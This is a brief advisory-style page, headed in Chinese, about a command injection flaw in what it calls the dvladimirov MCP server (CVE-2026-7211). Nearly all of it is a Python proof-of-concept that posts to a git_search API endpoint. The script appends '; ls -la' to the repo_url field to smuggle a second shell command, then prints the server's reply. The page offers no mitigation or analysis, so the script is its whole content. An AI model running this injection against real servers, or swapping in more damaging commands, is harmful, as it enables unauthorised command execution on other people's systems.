CVE-2026-7211 dvladimirov MCP命令注入漏洞

import requests # Target URL (Example) target_url = "http://target-ip:port/api/git_search" # Malicious payload to inject command (e.g., execute 'ls') # Using semicolon to chain commands command_injection = "; ls -la" # Vulnerable parameters payload_data = { "repo_url": "https://github.com/example/repo" + command_injection, "pattern": "test" } try: # Sending malicious request response = requests.post(target_url, json=payload_data) print(f"Status Code: {response.status_code}") print(f"Response Body: {response.text}") except Exception as e: print(f"Exploit failed: {e}")